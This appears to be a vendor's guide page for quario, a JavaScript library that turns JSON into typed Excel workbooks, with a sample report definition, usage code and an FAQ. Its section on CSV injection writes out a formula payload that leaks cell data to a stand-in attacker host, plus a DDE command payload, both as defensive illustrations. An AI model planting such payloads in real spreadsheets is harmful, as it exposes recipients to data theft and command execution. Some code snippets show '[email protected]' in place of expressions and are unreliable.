Escape
HomeGuidesJSON to Excel

JSON to Excel, in JavaScript

Someone always asks for it in Excel. Not a PDF of a table — the actual workbook, so they can sort it, filter it, and add a column of their own. The trap is that most “export to Excel” code writes a CSV, or writes strings into cells. The numbers arrive as text: no sums, no charts, left-aligned and useless.

quario writes a real workbook. You describe the report once, hand it your JSON, and get .xlsx bytes where a number is a number.

The approach in one line

JSON data + a report definition → .xlsx. No HTML in the middle. No Excel installed on the server, and no CSV pretending to be a spreadsheet.

Do it with quario

Install:

shell
npm install @quario/xlsx

Describe the report once — the same kind of definition you’d render to a PDF:

invoice.report.json
{
  "data": "$.invoice.lines[*]",
  "aggregates": { "total": "sum:[email protected] * @.unitPrice" },
  "header": [
    { "type": "text", "value": "Invoice {{ $.input.invoice.number }}" }
  ],
  "detail": {
    "columns": [
      { "header": "Item", "value": "{{ @.item }}", "width": 50 },
      { "header": "Qty", "value": "{{ @.qty }}", "width": 15 },
      { "header": "Unit", "value": "{{ @.unitPrice }}",
        "style": { "format": "currency" }, "width": 15 },
      { "header": "Amount", "value": "{{ round(@.qty * @.unitPrice, 2) }}",
        "style": { "format": "currency" }, "width": 20 }
    ],
    "total": {
      "style": { "bold": true },
      "rows": [
        { "cells": [
          { "value": "Total", "span": 3, "style": { "align": "right" } },
          { "value": "{{ round($.total, 2) }}", "style": { "format": "currency" } }
        ] }
      ]
    }
  }
}

Interpolate the bare value, not a formatted string. A cell written {{ @.qty }} becomes a real numeric cell. Run it through a formatting function of your own and you’ve handed the spreadsheet a string. That’s the formatting a spreadsheet is perfectly good at doing itself, baked in where nobody can undo it.

The Amount column computes, so it carries round(…, 2). A currency value is a whole number of its currency’s minor units. This is the one target that shows you when it isn’t. A page presents 242.70000000000002 as €242.70; the cell keeps every digit for SUM to carry onward.

That’s what "format": "currency" is for, and why it appears on the money columns above rather than a function call. The kind is a presentation instruction, not a transformation. This target maps it to the cell’s number format and leaves the value a number. The column reads as currency — "EUR"#,##0.00, the instance’s currency code — and still answers to SUM. The same declaration renders as formatted text in HTML and PDF, so one definition serves all three without a spreadsheet-only variant.

The total row is one label spanning three columns, and one amount. The bold sits on the total block’s own style rather than on each cell. A span here is a merged range in the sheet. The label sits against its figure instead of leaving two empty cells between them.

Feed it your JSON and render:

app.js
import { writeFileSync } from 'node:fs'
import { quario } from 'quario'
import { xlsx } from '@quario/xlsx'
import definition from './invoice.report.json' with { type: 'json' }

const report = quario({ locale: 'en-IE', currency: 'EUR' }).report(definition)

const data = await getInvoice()          // your JSON, from an API or DB
const bytes = await report.render(xlsx({ meta: { title: 'Invoice 1042' } }), data)

writeFileSync('invoice.xlsx', bytes)

That’s JSON in, spreadsheet out.

What you get

The workbook that lands is a report, not a data dump:

  • Typed cells. Numbers are numbers, booleans are booleans, dates are dates. SUM works on the Amount column without anyone cleaning it first.
  • A frozen header. The table’s header row anchors the frozen pane, so it stays put while the body scrolls. That’s the spreadsheet’s answer to a repeated header on a printed page.
  • Column widths from the definition. The width percentages you’d use to lay out a PDF size the worksheet columns too.
  • Bands as rows. Report and group headers, detail rows, totals — the same walk the other targets render. They flatten onto the grid in the same order, with group headers bold by default.

No cell is ever a formula

This is the part worth knowing before you export anything built from user data. Write a customer name of =HYPERLINK("http://evil.example/?"&A1,"Click") into most CSV or spreadsheet exporters and you have shipped a live formula to whoever opens the file. That’s the classic CSV injection.

quario’s spreadsheet cells are inert by construction. This target writes a string cell as a string, whatever it starts with. There is no escaping to remember, no leading apostrophe mangling your data, and no setting to get wrong:

what lands in the cell
data:  "=cmd|'/c calc'!A1"
cell:  =cmd|'/c calc'!A1     ← text, inert, exactly what you stored

Same principle as the HTML target escaping every interpolated value. Data from an untrusted source reaches the document as data, never as something the reader’s application will execute.

One definition, both formats

The definition above isn’t spreadsheet-specific. Point a different target at it and the same report comes out paginated:

both.js
import { quario } from 'quario'
import { xlsx } from '@quario/xlsx'
import { pdf } from '@quario/pdf'

const report = quario({ locale: 'en-IE', currency: 'EUR' }).report(definition)

const book = await report.render(xlsx(), data)
const paper = await report.render(pdf({ page: { size: 'A4' } }), data)

Layout that only makes sense on paper is a target option, not a schema field, which is why the same JSON serves both. Page geometry belongs to the PDF call. A spreadsheet has no pages and simply ignores anything that assumes them.

FAQ

Does the server need Excel or LibreOffice installed?

No. quario writes the .xlsx file itself. It’s a pure JavaScript dependency, so it runs in a plain Node container. It runs in the browser too, if you want the download to happen client-side.

Can I use one definition for both PDF and Excel?

Yes, and that’s the intent. Bands, groups, tables, aggregates, and styles are target-neutral. Each target maps them to its own model. Only genuinely paper-specific things — page size, margins, page headers and footers — live outside the shared definition.

Is it safe to export user-supplied data?

Yes. Cell text is never interpreted as a formula, so the CSV-injection class of bug doesn’t exist here. Expressions in the definition parse into closures, and nothing evaluates them as source, so no data value can become code either. Definitions themselves are configuration you trust — treat them like the code around them.

Are the exported bytes identical every run?

The content is deterministic — same definition and data, same workbook — but the bytes aren’t: the file’s archive entries carry a packing timestamp. If you’re testing exports, compare the extracted cell values rather than a checksum of the file.

What about formatting — currency, dates, decimals?

Interpolate the raw value and declare a format kind — currency, number, percent, or date. This target maps each to a cell number format and leaves the value typed. The display is the spreadsheet’s own, and the number stays a number. Every target presents the same digits: two for number and percent, and a currency’s own minor units for currency, so a JPY amount has none. To ask for another count, the kind carries one modifier — { "kind": "percent", "digits": 0 } writes 0% here and presents 21% on a page.

Locale, currency code, and timezone come from quario({ locale, currency, timeZone }) rather than the definition, so each instance presents the same report its own way. A cell denominated in another currency names it itself — "currency": "[email protected]" beside the format — and keeps its number. A listing that mixes currencies gets "USD"#,##0.00 on one row and "JPY"#,##0 on the next rather than text.

Dates read from a string as well as a Date. A calendar date 2026-08-14 presents without reviving anything first, and so does an offset-bearing timestamp 2026-08-14T12:30:00Z. Both land as a real typed date here, under dd mmm yyyy, and 14 Aug 2026 on a page. That’s the medium form. { "kind": "date", "form": "long" } asks for 14 August 2026, and short for 14/08/2026. A zoneless 2026-08-14T00:00:00 isn’t read: it means local time, so it would land on a different day per machine. A loose 14/8/2026 isn’t read either. This target writes anything unread as authored.

A calendar date is UTC midnight, so under a western instance timezone it presents as the day before. Pin timeZone on the instance if that matters.

A sum of exact amounts can land on an inexact float — a receipt’s subtotal plus VAT computes to 83.75999999999999. A page presents that as 83.76. This target stores it as it is. Every expression carries round(x, 2) for exactly that, so a total cell reads {{ round($.subtotal + $.vat, 2) }} and the workbook gets 83.76.

Use quario’s style vocabulary for the parts the grid can’t express itself: bold, size, colours, fills, and alignment all map onto cell formatting.

How big is it?

The engine is under 5 kB minified and compressed, and the spreadsheet mapping on top of it under 2 kB. The workbook writer underneath is the bulk of what you install. Writing a valid .xlsx means writing a zipped bundle of XML parts, and that machinery dwarfs the report logic sitting above it.

Can I use it for free?

Evaluating it’s free and has no time limit — the full engine, no key to request — and evaluation output carries a watermark. Anything past evaluating it, including shipping it in an application or sending exports to real customers, needs a seat per developer. Deployment is then unlimited and royalty-free, however many servers or users you have. See pricing →

That's JSON in, spreadsheet out.

npm install quario
Getting started
© 2026 quario · KvK 61815977